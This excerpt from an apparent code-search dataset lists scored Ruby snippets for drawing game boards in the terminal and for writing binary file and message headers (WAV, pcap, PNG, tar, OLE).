"score": "0.68634534",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "6bfe00093594b98afa0a627ec6fd40ea",
"score": "0.6861559",
"text": "def draw\n print \" | |\\n\" \\\n \"#{board_line(0)}\\n\" \\\n \" | |\\n\" \\\n \"-----+-----+-----\\n\" \\\n \" | |\\n\" \\\n \"#{board_line(1)}\\n\" \\\n \" | |\\n\" \\\n \"-----+-----+-----\\n\" \\\n \" | |\\n\" \\\n \"#{board_line(2)}\\n\" \\\n \" | |\\n\"\n end",
"title": ""
},
{
"docid": "7d991ed9316f422190aa64ae1b346fa2",
"score": "0.6859673",
"text": "def display_board\n puts\n puts \"Here is the current board:\"\n puts \n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"---+---+---\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"---+---+---\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n puts \n end",
"title": ""
},
{
"docid": "639ce0f5f91e3c6eaf6076640cf6460e",
"score": "0.6855496",
"text": "def render\n @board.grid.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n if all_even?(row_i, col_i) || all_odd?(row_i, col_i) # this condition is for white # the two cases where the board is white is when either both row and col are even or both are odd, amazing, quite elegant\n print_piece(col, row_i, col_i, piece_color(col), \"#9AB3C9\")\n else\n print_piece(col, row_i, col_i, piece_color(col), \"#4A7190\") # this is for black lol the hex colors don't make it as clear anymore lol\n end\n end\n puts # make a new line after each row\n end\n nil # so it doesn't return the whole board just a placeholder while you play with this thing\n end",
"title": ""
},
{
"docid": "1d898206461cd383e571b853bddd0c9f",
"score": "0.6852343",
"text": "def PrintBoard(board)\n #Display board in same format as instuctions, with values filled in\n for i in 0..8\n print \"|\" + board[i]\n if i % 3 == 2\n #Start new line every 3 columns\n print \"|\\n\"\n end\n end\n end",
"title": ""
},
{
"docid": "cff953fc4a020434889331eba1a0c793",
"score": "0.68462867",
"text": "def display_board\n puts \"\\n---------------\\n\".center(5)\n @board.play_area[0..2].each { |square| print square.to_s.center(5) }\n puts \"\\n\\n\"\n @board.play_area[3..5].each { |square| print square.to_s.center(5) }\n puts \"\\n\\n\"\n @board.play_area[6..8].each { |square| print square.to_s.center(5) }\n puts \"\\n---------------\\n\".center(5)\n end",
"title": ""
},
{
"docid": "048056057b8411812bdf43968ec1cf6c",
"score": "0.68439126",
"text": "def display_board\n puts \"#{@board[0].value} | #{@board[1].value} | #{@board[2].value}\"\n puts \"-\"*10\n puts \"#{@board[3].value} | #{@board[4].value} | #{@board[5].value}\"\n puts \"-\"*10\n puts \"#{@board[6].value} | #{@board[7].value} | #{@board[8].value}\"\n end",
"title": ""
},
{
"docid": "21927a6f6424a1ea5b10e0adad25ccc1",
"score": "0.6835847",
"text": "def draw_board game\n\t\t\t\tstring = ''\n\t\t\t\tprint \" \"\n\t\t\t\t0.upto(14) do |x|\n\t\t\t\t\tprint \"%5s\" % [x.to_s]\n\t\t\t\tend\n\t\t\t\tgame.board.each_with_index do |square, row, column|\n\t\t\t\t\tanti_string = square.tile\n\t\t\t\t\tanti_string ||= ' '\n\t\t\t\t\tif column == 0\n\t\t\t\t\t\tputs string\n\t\t\t\t\t\tstring = \"%-3s\" % [row.to_s]\n\t\t\t\t\tend\n\t\t\t\t\tcase square.multiplier\n\t\t\t\t\twhen 3\n\t\t\t\t\t\tif square.type == :word\n\t\t\t\t\t\t\tstring +=\"[ \".green + anti_string + \" ]\".green\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstring +=\"[ \".blue + anti_string + \" ]\".blue\n\t\t\t\t\t\tend\n\t\t\t\t\twhen 2\n\t\t\t\t\t\tif square.type == :word\n\t\t\t\t\t\t\tstring +=\"[ \".light_red + anti_string + \" ]\".light_red\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstring +=\"[ \".light_cyan + anti_string + \" ]\".light_cyan\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tstring += \"[ \" + anti_string + \" ]\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tputs string\n\t\t\tend",
"title": ""
},
{
"docid": "ff4f1b2ad91c711b27c7d98dc7f528b6",
"score": "0.68354744",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"title": ""
},
{
"docid": "43dae4d578b3b7fb19e77a60fd0b692e",
"score": "0.68348616",
"text": "def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"title": ""
},
{
"docid": "1c30909f1e1ef7e6e977ddd41ca3c172",
"score": "0.68335855",
"text": "def draw_board\n clear_screen\n print_logo\n put_column_headers\n @rows.each do |row|\n row_string = \"\"\n slots_filled_in_row = 0\n row.each do |slot|\n if slot\n color_code = slot\n if @players.size == 2\n slot = \"X\" if slot == 1\n slot = \"O\" if slot == 2\n end\n color_code = COLOR_CODES[color_code]\n slot = slot.to_s.colorize(color_code)\n slots_filled_in_row += 1\n else\n slot = '.'\n end\n row_string << (slot + \" \")\n end\n center_puts((' ' * 11 * slots_filled_in_row) + row_string)\n end\n put_column_headers\n end",
"title": ""
},
{
"docid": "804708a6ab410da7e435c9b5a7b537d4",
"score": "0.68333197",
"text": "def show_board\n puts\n @board.each_with_index do |square, i|\n print \" #{square} \"\n puts \"\\n\\n\" if (i == 2 || i == 5 || i == 8)\n end\n end",
"title": ""
}
] |
d2055e8fa43325f28f677e2629d04329
|
Write a header of a binary string whose size is _n_. Useful if you want to append large binary data without loading it into memory at once. For example, MessagePack::Packer.new(io).write_bin_header(12).flush io.write('chunk1') io.write('chunk2') is the same as write('chunk1chunk2'.encode(Encoding::BINARY)).
|
[
{
"docid": "10b84dc06c4f79c272f989dfee9d678f",
"score": "0.77475715",
"text": "def write_bin_header(n)\n end",
"title": ""
}
] |
[
{
"docid": "6638e520c654d5e29948451b193eccb2",
"score": "0.6270642",
"text": "def write_header(f, block_size, blocks)\n f.seek(0)\n f.write([block_size, blocks].pack('N2'))\n end",
"title": ""
},
{
"docid": "e34d45a5728dc4c539690f56529036cb",
"score": "0.60733175",
"text": "def write_file_header()\n @fio.write([\n 0xa1b2c3d4, # Magic\n 2, # Major version\n 4, # Minor version\n Time.now.gmt_offset, # GMT offset\n 0, # sigfigs\n 65535, # snaplen\n 195 # LINKTYPE_IEEE802_15_4 - http://www.tcpdump.org/linktypes.html\n ].pack(\"LSSlLLL\"))\n end",
"title": ""
},
{
"docid": "86fb83886a544a7a1ae164442f1284af",
"score": "0.606017",
"text": "def write_size\n @h.seek(0, IO::SEEK_END)\n @h.write([@n].pack('Q'))\n end",
"title": ""
},
{
"docid": "3a8b87bb00da1997cde7d0bfb736a2c6",
"score": "0.595344",
"text": "def write_array_header(n)\n end",
"title": ""
},
{
"docid": "77b5ce6c02d1a8630509dfb0e2c4b024",
"score": "0.594837",
"text": "def write_byte(*n)\n n.each { |b| @content << b.chr }\n self\n end",
"title": ""
},
{
"docid": "ef32dfc3f28acae1797097ab7ac8f983",
"score": "0.5708801",
"text": "def write_byte( *n )\n @content << n.map { |c| c.chr }.join\n end",
"title": ""
},
{
"docid": "a7166a9844f9e6b36e2568ade7b66d74",
"score": "0.56760436",
"text": "def create_header(options)\n header_buffer = StringIO.new\n binary_writer = BinData::Uint16le.new\n\n # Write command header\n binary_writer.value = options[:command]\n header_buffer.pos = 0\n binary_writer.write(header_buffer)\n\n # Write checksum header\n binary_writer.value = options[:checksum]\n header_buffer.pos = 2\n binary_writer.write(header_buffer)\n\n # Write session ID header\n binary_writer.value = options[:session_id]\n header_buffer.pos = 4\n binary_writer.write(header_buffer)\n\n # Write reply ID header\n binary_writer.value = options[:reply_id]\n header_buffer.pos = 6\n binary_writer.write(header_buffer)\n\n # Write command string header\n header_buffer.pos = 8\n header_buffer.write(options[:command_string])\n\n # Rewrite checksum header\n binary_writer.value = create_checksum(data: header_buffer.string)\n header_buffer.pos = 2\n binary_writer.write(header_buffer)\n\n # Rewrite reply ID header\n binary_writer.value = (options[:reply_id] + 1) % USHRT_MAX\n header_buffer.pos = 6\n binary_writer.write(header_buffer)\n\n header_buffer.string\n end",
"title": ""
},
{
"docid": "4e6514394cdbf3037e25386df7864919",
"score": "0.5578145",
"text": "def write(header, string='')\n command = [0xFF, 0xFF, 0xFF, 0xFF, header, string].pack('ccccca*')\n length = command.length\n length === @socket.write(command)\n end",
"title": ""
},
{
"docid": "75e97313c0b2f1a0cb042082703078b9",
"score": "0.55623525",
"text": "def write_header(sample_count)\n sample_data_byte_count = sample_count * @format.block_align\n\n # Write the header for the RIFF chunk\n header = CHUNK_IDS[:riff]\n header += [CANONICAL_HEADER_BYTE_LENGTH + sample_data_byte_count].pack(UNSIGNED_INT_32)\n header += WAVEFILE_FORMAT_CODE\n\n # Write the format chunk\n header += CHUNK_IDS[:format]\n header += [FORMAT_CHUNK_BYTE_LENGTH].pack(UNSIGNED_INT_32)\n header += [PCM].pack(UNSIGNED_INT_16)\n header += [@format.channels].pack(UNSIGNED_INT_16)\n header += [@format.sample_rate].pack(UNSIGNED_INT_32)\n header += [@format.byte_rate].pack(UNSIGNED_INT_32)\n header += [@format.block_align].pack(UNSIGNED_INT_16)\n header += [@format.bits_per_sample].pack(UNSIGNED_INT_16)\n\n # Write the header for the data chunk\n header += CHUNK_IDS[:data]\n header += [sample_data_byte_count].pack(UNSIGNED_INT_32)\n\n @file.syswrite(header)\n end",
"title": ""
},
{
"docid": "9fb0ebcf816f37b225ad12e6b9731dbc",
"score": "0.55180484",
"text": "def write(str)\n s = str.to_s\n @length += s.size\n @writer.call s\n\n header[\"Content-Length\"] = @length.to_s\n str\n end",
"title": ""
},
{
"docid": "6ad8a8903825fbc04b000bac6c04df95",
"score": "0.550248",
"text": "def write_header(sample_frame_count)\n sample_data_byte_count = sample_frame_count * @format.block_align\n\n # Write the header for the RIFF chunk\n header = CHUNK_IDS[:riff]\n header += [CANONICAL_HEADER_BYTE_LENGTH[@format.sample_format] + sample_data_byte_count].pack(UNSIGNED_INT_32)\n header += WAVEFILE_FORMAT_CODE\n\n # Write the format chunk\n header += CHUNK_IDS[:format]\n header += [FORMAT_CHUNK_BYTE_LENGTH[@format.sample_format]].pack(UNSIGNED_INT_32)\n header += [FORMAT_CODES[@format.sample_format]].pack(UNSIGNED_INT_16)\n header += [@format.channels].pack(UNSIGNED_INT_16)\n header += [@format.sample_rate].pack(UNSIGNED_INT_32)\n header += [@format.byte_rate].pack(UNSIGNED_INT_32)\n header += [@format.block_align].pack(UNSIGNED_INT_16)\n header += [@format.bits_per_sample].pack(UNSIGNED_INT_16)\n if @format.sample_format == :float\n header += [0].pack(UNSIGNED_INT_16)\n end\n\n # Write the FACT chunk, if necessary\n unless @format.sample_format == :pcm\n header += CHUNK_IDS[:fact]\n header += [4].pack(UNSIGNED_INT_32)\n header += [sample_frame_count].pack(UNSIGNED_INT_32)\n end\n\n # Write the header for the data chunk\n header += CHUNK_IDS[:data]\n header += [sample_data_byte_count].pack(UNSIGNED_INT_32)\n\n @file.sysseek(0)\n @file.syswrite(header)\n end",
"title": ""
},
{
"docid": "e45d43c3cb45ccc98fe424fbbe237470",
"score": "0.54799116",
"text": "def packed_header\n [\n @version,\n @numstr,\n @longlen,\n @shortlen,\n @flags.to_i,\n @delim.ord << 24 # bitpacked to 32-bit integer\n ].pack(\"N6\")\n end",
"title": ""
},
{
"docid": "ac01293baa35cbafefb1e07aa15f1d76",
"score": "0.54425627",
"text": "def header_udp package_number, file_size, signal=\"send\"\n file_size = \"%0#{@header_file_size}b\" % file_size\n number_package = \"%0#{@header_number_package_size}b\" % package_number\n eof = \"0\" if signal == \"send\"\n eof = \"1\" if signal == \"eof\"\n file_size + number_package + eof\n end",
"title": ""
},
{
"docid": "d9c795f2c464608a73e2102bb6f53b79",
"score": "0.5429843",
"text": "def write_short( *n )\n @content << n.pack( \"n*\" )\n end",
"title": ""
},
{
"docid": "0d16f74b721f64c36eb32c9cdd189541",
"score": "0.5372854",
"text": "def write_header\n return if @biff_only == 1\n calculate_sizes\n root_start = @root_start\n num_lists = @list_blocks\n\n id = [0xD0CF11E0, 0xA1B11AE1].pack(\"NN\")\n unknown1 = [0x00, 0x00, 0x00, 0x00].pack(\"VVVV\")\n unknown2 = [0x3E, 0x03].pack(\"vv\")\n unknown3 = [-2].pack(\"v\")\n unknown4 = [0x09].pack(\"v\")\n unknown5 = [0x06, 0x00, 0x00].pack(\"VVV\")\n num_bbd_blocks = [num_lists].pack(\"V\")\n root_startblock = [root_start].pack(\"V\")\n unknown6 = [0x00, 0x1000].pack(\"VV\")\n sbd_startblock = [-2].pack(\"V\")\n unknown7 = [0x00, -2 ,0x00].pack(\"VVV\")\n\n write(id)\n write(unknown1)\n write(unknown2)\n write(unknown3)\n write(unknown4)\n write(unknown5)\n write(num_bbd_blocks)\n write(root_startblock)\n write(unknown6)\n write(sbd_startblock)\n write(unknown7)\n\n unused = [-1].pack(\"V\")\n\n 1.upto(num_lists){\n root_start += 1\n write([root_start].pack(\"V\"))\n }\n\n num_lists.upto(108){\n write(unused)\n }\n end",
"title": ""
},
{
"docid": "2619fa98c021b85ae2f379103541410e",
"score": "0.53638554",
"text": "def encode\n [@size, @type].pack(HEADER_ENCODING) + @buffer\n end",
"title": ""
},
{
"docid": "3c9da6b1845adbe63c0468f3d20c9546",
"score": "0.535683",
"text": "def write_header\n return if @biff_only == true\n calculate_sizes\n root_start = @root_start\n\n write([0xD0CF11E0, 0xA1B11AE1].pack(\"NN\"))\n write([0x00, 0x00, 0x00, 0x00].pack(\"VVVV\"))\n write([0x3E, 0x03, -2, 0x09].pack(\"vvvv\"))\n write([0x06, 0x00, 0x00].pack(\"VVV\"))\n write([@list_blocks, root_start].pack(\"VV\"))\n write([0x00, 0x1000,-2].pack(\"VVV\"))\n write([0x00, -2 ,0x00].pack(\"VVV\"))\n\n unused = [-1].pack(\"V\")\n\n 1.upto(@list_blocks){\n root_start += 1\n write([root_start].pack(\"V\"))\n }\n\n @list_blocks.upto(108){\n write(unused)\n }\n end",
"title": ""
},
{
"docid": "8b43a7a114709159a2ad2e266d6bfe6a",
"score": "0.53437924",
"text": "def write_header(command)\n\t\t\t\trepresentation = HEADER_REPRESENTATION[command[:type]]\n\t\t\t\t\n\t\t\t\tfirst = @buffer.bytesize\n\t\t\t\t\n\t\t\t\tcase command[:type]\n\t\t\t\twhen :indexed\n\t\t\t\t\twrite_integer(command[:name] + 1, representation[:prefix])\n\t\t\t\twhen :change_table_size\n\t\t\t\t\twrite_integer(command[:value], representation[:prefix])\n\t\t\t\telse\n\t\t\t\t\tif command[:name].is_a? Integer\n\t\t\t\t\t\twrite_integer(command[:name] + 1, representation[:prefix])\n\t\t\t\t\telse\n\t\t\t\t\t\twrite_integer(0, representation[:prefix])\n\t\t\t\t\t\twrite_string(command[:name])\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\twrite_string(command[:value])\n\t\t\t\tend\n\n\t\t\t\t# set header representation pattern on first byte\n\t\t\t\[email protected](first, @buffer.getbyte(first) | representation[:pattern])\n\t\t\tend",
"title": ""
},
{
"docid": "529ee14722c154f28470484928ff9016",
"score": "0.5312681",
"text": "def write(str)\n s = str.to_s\n @length += s.bytesize unless chunked?\n @writer.call s\n\n set_header(CONTENT_LENGTH, @length.to_s) unless chunked?\n str\n end",
"title": ""
},
{
"docid": "b489457a4656a70a97d30a3bde70084c",
"score": "0.5254204",
"text": "def write_map_header(n)\n end",
"title": ""
},
{
"docid": "f6027454b415d0f26ee14836da145743",
"score": "0.5248662",
"text": "def dump_binary(io, data, length)\n raise if data.length != length\n io.write(data)\n end",
"title": ""
},
{
"docid": "ee0d90f97e45ee803979df76224a4763",
"score": "0.52315116",
"text": "def write(str)\n s = str.to_s\n\n @length += s.bytesize\n @headers[CONTENT_LENGTH] = @length.to_s\n @body << s\n nil\n end",
"title": ""
},
{
"docid": "3e8b7d88f45be7bcab601e3253ca308b",
"score": "0.5229664",
"text": "def write_long(*n)\n @content << n.pack(\"N*\")\n self\n end",
"title": ""
},
{
"docid": "6fd8c99ddc5060f997f10ddbcc16b35f",
"score": "0.5226513",
"text": "def write(packet)\n # Write the packet header.\n ts = Time.now\n @fio.write([\n ts.to_i,\n ts.nsec / 1_000_000,\n packet.length,\n packet.orig_length,\n ].pack(\"LLLL\"))\n @fio.write(packet.data)\n end",
"title": ""
},
{
"docid": "66f3f3ee82b223936a8512e0adbd5af5",
"score": "0.5219186",
"text": "def write_long( *n )\n @content << n.pack( \"N*\" )\n end",
"title": ""
},
{
"docid": "939a4a38a7a6c9693e6039f715a07d76",
"score": "0.5194908",
"text": "def header\n _, @count, @stringOffset = @bytes[0, 6].unpack('nnn')\n end",
"title": ""
},
{
"docid": "93337f63be31f6c38efc4eee0f69be03",
"score": "0.51607543",
"text": "def header\n MAGIC + [VERSION].pack('n')\n end",
"title": ""
},
{
"docid": "8700c9a311f06edf80147c0132791421",
"score": "0.5073241",
"text": "def send_header(opts = {})\n nsock = opts[:sock] || sock\n stream = build_header(opts)\n nsock.put(stream.encode + \"\\x00\\x00\\x00\\x00\\x00\\x00\")\n end",
"title": ""
},
{
"docid": "7086451f8f62e036c8adb20e1b905125",
"score": "0.50588924",
"text": "def write(string)\n unless(@snappy_writer_ident)\n send_snappy_identifier\n end\n digest = Digest::CRC32c.new\n digest << string\n content = Snappy.deflate(string)\n size = content.length + 4\n size = [size].pack('L<')\n size.slice!(-1,1)\n checksum = [checksum_mask(digest.checksum)].pack('L<')\n output = [CHUNK_TYPE.key(:compressed), size, checksum, content].pack('a*a*a*a*')\n io.write output\n end",
"title": ""
},
{
"docid": "e6689ff69cf8f155d431d94d79054223",
"score": "0.50429",
"text": "def to_binary_string\n @binary_components.pack(\"NNNN\")\n end",
"title": ""
},
{
"docid": "d65a528f069b6561a1a6e814ba50b735",
"score": "0.5018834",
"text": "def write io\n @header.write io\n @pkthdrs.each do |pkthdr|\n pkthdr.write io\n end\n end",
"title": ""
},
{
"docid": "f1b30a5bdc594155c42844840339019b",
"score": "0.5013738",
"text": "def demo_header(framecount)\n # Precompute some values\n n = mode == 1 ? 2 : 1\n framecount /= n\n size = framecount * n + 26 + 4 * n\n\n # Build header\n header = [0].pack('C') # Type (0 lvl, 1 lvl in ep, 2 lvl in sty)\n header << [size].pack('L<') # Data length\n header << [1].pack('L<') # Replay version\n header << [framecount].pack('L<') # Data size in bytes\n header << [inner_id].pack('L<') # Level ID\n header << [mode].pack('L<') # Mode (0-2)\n header << [0].pack('L<') # ?\n header << (mode == 1 ? \"\\x03\" : \"\\x01\") # Ninja mask (1,3)\n header << [-1, -1].pack(\"l<#{n}\") # ?\n\n # Return\n header\n end",
"title": ""
},
{
"docid": "0d51134c2c435e3339c5a0f9dd4e356c",
"score": "0.50095946",
"text": "def print_header(type = @image_type, bit_depth = 8)\n #bit_depth = 8 #Default bit depth\n compression = 0\n filter = 0\n interlace = Imgrb::PngConst::NOT_INTERLACED\n chunk = [@width, @height, bit_depth, type,\n compression, filter, interlace]\n #Pack into 17 bytes long header, 13 for data + 4 bytes for \"IHDR\")\n chunk = chunk.pack('NNCCCCC')\n #Calculate crc for IHDR chunk\n crc = [Zlib.crc32(\"IHDR\" + chunk, 0)].pack('N')\n #Size of header IHDR data\n return \"\\x00\\x00\\x00\\x0D\" << \"IHDR\" << chunk << crc\n end",
"title": ""
},
{
"docid": "836e3f94071b2925253139d9ba0ea057",
"score": "0.50057274",
"text": "def write(int, n)\n raise \"Ruby doesn't play nice with negative number bit manipulations!\" if int < 0\n if n > 0\n @next_pos = @pos + n\n \n until remaining_bits_to_write == 0\n number_of_bits_to_write = if remaining_bits_to_write > number_of_free_bits_in_current_byte\n # then, we need to write to all of the remaining free bits in the current byte\n number_of_free_bits_in_current_byte\n else\n # write the remaining bits of <int> to a portion of the current byte\n remaining_bits_to_write\n end\n \n rightmost_bits_mask = (1 << number_of_bits_to_write) - 1\n rightshift_count = remaining_bits_to_write - number_of_bits_to_write\n @current_byte = (@current_byte << number_of_bits_to_write) | (unsigned_right_shift(int, rightshift_count) & rightmost_bits_mask)\n # puts int\n # print_byte(@current_byte)\n # puts\n @pos += number_of_bits_to_write\n \n write_byte if at_beginning_of_byte_boundary? # if we're at the beginning of a byte-boundary, we need to write the current byte to the bitstring and create a new byte-buffer\n end\n end\n end",
"title": ""
},
{
"docid": "65b8772703add722cba17fedceef174c",
"score": "0.50000197",
"text": "def write_hdr(field, value)\n BlockFile.write_int(@header_data, field, value)\n @header_modified = true\n end",
"title": ""
},
{
"docid": "eb9aa726c296322f3df7839a14558a56",
"score": "0.49913028",
"text": "def write_header(command); end",
"title": ""
},
{
"docid": "7a7f83cca00fb4e4796326565b267e4a",
"score": "0.49744692",
"text": "def encode_header(buffer)\n buffer << [\n SkyDB::Message::VERSION,\n message_name,\n table_name\n ].to_msgpack\n end",
"title": ""
},
{
"docid": "5edc86ffe4b1bc83679bf07c9684c145",
"score": "0.49649715",
"text": "def split_bytes(string, n)\n string.bytes.each_slice(n).collect { |bytes| bytes.pack(\"C*\") }\n end",
"title": ""
},
{
"docid": "f25b856329cbb9f1f71447bf9d1d034e",
"score": "0.49644646",
"text": "def pack_header(header)\n blob = \"\"\n \n blob += header.path.ljust(100, \"\\0\")\n blob += header.mode.to_s(8).rjust(8, \"0\")\n blob += header.uid.to_s(8).rjust(8, \"0\")\n blob += header.gid.to_s(8).rjust(8, \"0\")\n blob += header.size.to_s(8).rjust(12, \"0\")\n blob += header.mtime.to_i.to_s(8).rjust(12, \"0\")\n blob += \" \" * 8\n blob += ENC_TYPES[header.type]\n blob += header.dest.ljust(100, \"\\0\")\n \n case header.format\n when :ustar\n blob += \"ustar\\000\"\n when :gnu\n blob += \"ustar \\0\"\n end\n \n if header.gnu? || header.ustar?\n blob += header.user.ljust(32, \"\\0\")\n blob += header.group.ljust(32, \"\\0\")\n blob += header.major.to_s(8).rjust(8, \"0\")\n blob += header.minor.to_s(8).rjust(8, \"0\")\n \n if header.gnu?\n blob += header.atime.to_i.to_s(8).rjust(12, \"0\")\n blob += header.ctime.to_i.to_s(8).rjust(12, \"0\")\n end\n end\n \n pad_length = 512 - blob.bytesize\n blob += \"\\0\" * pad_length\n \n blob[148, 8] = calculate_checksum(blob)\n \n blob\n end",
"title": ""
},
{
"docid": "1ff1e3df6ce08b6c52a1011529ebbe04",
"score": "0.49360162",
"text": "def write(io)\n\t\t\t@headers[0].write(io)\n\t\tend",
"title": ""
},
{
"docid": "1ff1e3df6ce08b6c52a1011529ebbe04",
"score": "0.49360162",
"text": "def write(io)\n\t\t\t@headers[0].write(io)\n\t\tend",
"title": ""
},
{
"docid": "1ff1e3df6ce08b6c52a1011529ebbe04",
"score": "0.49360162",
"text": "def write(io)\n\t\t\t@headers[0].write(io)\n\t\tend",
"title": ""
},
{
"docid": "c0bcb5269d7980ed35cd113629906681",
"score": "0.49322775",
"text": "def encoded_prefix(n)\n prefix = Utils.big_endian_encode(n)\n # pad to 2 bytes\n prefix.ljust(2, \"\\x00\".b)\n end",
"title": ""
},
{
"docid": "7081d60ac1f00930b919e6c392f2d64a",
"score": "0.49203217",
"text": "def write(str)\n s = str.to_s\n @length += s.bytesize\n @body << s\n nil\n end",
"title": ""
},
{
"docid": "7081d60ac1f00930b919e6c392f2d64a",
"score": "0.49203217",
"text": "def write(str)\n s = str.to_s\n @length += s.bytesize\n @body << s\n nil\n end",
"title": ""
},
{
"docid": "db9c005e332280c37c4458b8ae821574",
"score": "0.49113274",
"text": "def write_chunk(socket, chunk)\n socket.write([chunk.size].pack(\"N\"))\n socket.write(chunk)\n end",
"title": ""
},
{
"docid": "bf9c91a804e39714cda39657fff75b7c",
"score": "0.48841092",
"text": "def to_binary(nibble_marker=nil)\n s = self.unpack('B4096')[0]\n if nibble_marker\n s2=''\n (0..s.length-1).step(4) do |x|\n s2 += s[x,4] + nibble_marker\n end\n return s2\n else\n return s\n end\n end",
"title": ""
},
{
"docid": "01322cd0afd0c4a90ceb69ee4af39d95",
"score": "0.4882711",
"text": "def write(offset, b)\n @file.seek(offset)\n @file.write(b.force_encoding('ASCII-8BIT'))\n\n \"Rom#write: Wrote #{b.length} bytes at #{offset}\" \\\n \" (#{ format('%06X', offset) }).\"\n end",
"title": ""
},
{
"docid": "c2fe45271bde9b4086b57c8897860436",
"score": "0.48808318",
"text": "def write_bignum(*n)\n @content << n.map { |b| b.to_ssh }.join\n self\n end",
"title": ""
},
{
"docid": "876df2d621e5e38a695dda867a1c22f0",
"score": "0.4856566",
"text": "def to_s\n [@header_data, 0xFF].pack('c2')\n end",
"title": ""
},
{
"docid": "876df2d621e5e38a695dda867a1c22f0",
"score": "0.4856566",
"text": "def to_s\n [@header_data, 0xFF].pack('c2')\n end",
"title": ""
},
{
"docid": "767d152b4028225e720f0e42bf4d0f19",
"score": "0.48520315",
"text": "def encode_block(n)\n\n b = @block_file.alloc_buffer\n\n flags = 0\n flags |= 1 if n.leaf\n\n BlockFile.write_int(b,HDR_FLAGS,flags)\n\n if !n.leaf\n BlockFile.write_int(b, IFLD_POPULATION,n.population)\n off = IFLD_PARTITIONS\n NODEI_CHILDREN.times do |i|\n p = n.slot(i)\n BlockFile.write_int(b, off, p.start_position)\n BlockFile.write_int(b,off+1,p.child_name)\n off += 2\n end\n else\n BlockFile.write_int(b,LFLD_OVERFLOW,n.overflow)\n BlockFile.write_int(b,LFLD_USED,n.used)\n off = LFLD_DATAPOINTS\n n.used.times do |i|\n GeoTree.write_data_point(n.data_point(i), b, off)\n off += DATAPOINT_INTS\n end\n end\n b\n end",
"title": ""
},
{
"docid": "d44678514c3ddd5e5e0cf2ced0e687dd",
"score": "0.485068",
"text": "def writebytes(str)\n flushbits\n @raw_io.write(str)\n end",
"title": ""
},
{
"docid": "a6ee0c2875d861c5874aee3b6f341d27",
"score": "0.4832232",
"text": "def _encrypted_data_header_v1(salt)\n \"\\x01\" + salt.bytes.length.chr + salt\n end",
"title": ""
},
{
"docid": "e346447dcf85ece043c069df11ca5834",
"score": "0.48303857",
"text": "def write(msg)\n payload = msg.to_proto\n size = Delimited.encode_uvarint(payload.bytesize)\n io.write(size) + io.write(payload)\n end",
"title": ""
},
{
"docid": "ee43e6211bead67ce36cd37dd5603787",
"score": "0.48192972",
"text": "def write_bignum( *n )\n @content << n.map { |b| b.to_ssh }.join\n end",
"title": ""
},
{
"docid": "e91a219dba4cafad6db7b2ba4e05c0e5",
"score": "0.48071203",
"text": "def encode_string(value:, size:)\n @iostream.write(value.slice(0, size).ljust(size, \"\\x20\"))\n end",
"title": ""
},
{
"docid": "6222ca60f5c9d618f2e073bc7b31f361",
"score": "0.4803787",
"text": "def seekbytes(n)\n @raw_io.seek(n, ::IO::SEEK_CUR)\n end",
"title": ""
},
{
"docid": "301a2df8e12dc9385db1f58331561c31",
"score": "0.48029083",
"text": "def write_pack(number, template, byte_order=NATIVE_BYTE_ORDER)\n str = [number].pack(template)\n str.reverse! if not native_byte_order.equal? byte_order # blame Array#pack not me\n write(str)\n end",
"title": ""
},
{
"docid": "86f8dd5868bfde476fdeccda88a052cc",
"score": "0.48001522",
"text": "def write_chunk(value)\n write_signed_integer(value.length + 1)\n write_byte(value.length)\n write_string(value)\n end",
"title": ""
},
{
"docid": "d2ad6b4d19c437da246fa51f561690ec",
"score": "0.47767547",
"text": "def write(s)\n do_write(s)\n s.bytesize\n end",
"title": ""
},
{
"docid": "17d64da83d63ec992c970eacf1f24047",
"score": "0.4770979",
"text": "def encode_bytes(value:, size:, signed:)\n value = Array(value) unless value.respond_to? :pack\n @iostream.write(value.pack(build_directive(size: size, signed: signed)))\n end",
"title": ""
},
{
"docid": "661eb947fe0ee1e9e78e089cce0b2b1c",
"score": "0.476463",
"text": "def write_header\n @io.print 'MThd'\n write32(6)\n write16(@seq.format || 1)\n write16(@seq.tracks.length)\n write16(@seq.ppqn)\n end",
"title": ""
},
{
"docid": "f2c204656b86e85adb12fbb2fa510a9c",
"score": "0.47600174",
"text": "def write_data_header(io, record)\n data_header = self.new\n data_header.normal = 0\n data_header.message_type = 0\n data_header.local_message_type = record[:local_message_number]\n data_header.write(io)\n end",
"title": ""
},
{
"docid": "6ac8de9e1df93d04efd5df7fa5e1db60",
"score": "0.4736019",
"text": "def write_header sht \n @headers.each_with_index do |h, i|\n sht.add_cell(0, i, h)\n end\n end",
"title": ""
},
{
"docid": "5237bb1a11e0d4974835a63703e0250e",
"score": "0.47328314",
"text": "def first_bytes(n)\n raise \"keystream wrap-around\" if n/4 + (n%4==0 ? 0 : 1) > MAX\n stream = stream_enumerator\n\n # whole words\n bytes = (n/4).times.map{ stream.next }.pack(\"V*\")\n\n # remaining bytes\n if (remaining = n % 4) != 0\n bytes << stream.next.pack(\"V\").byteslice(0, remaining)\n end\n\n return bytes\n end",
"title": ""
},
{
"docid": "3ec8977ef4f6e4032a73bef4e9a87420",
"score": "0.47270375",
"text": "def pack_it_with_size(nbytes, int); end",
"title": ""
},
{
"docid": "43bafc02c89cc2e95161b40fbc78fcdb",
"score": "0.47221708",
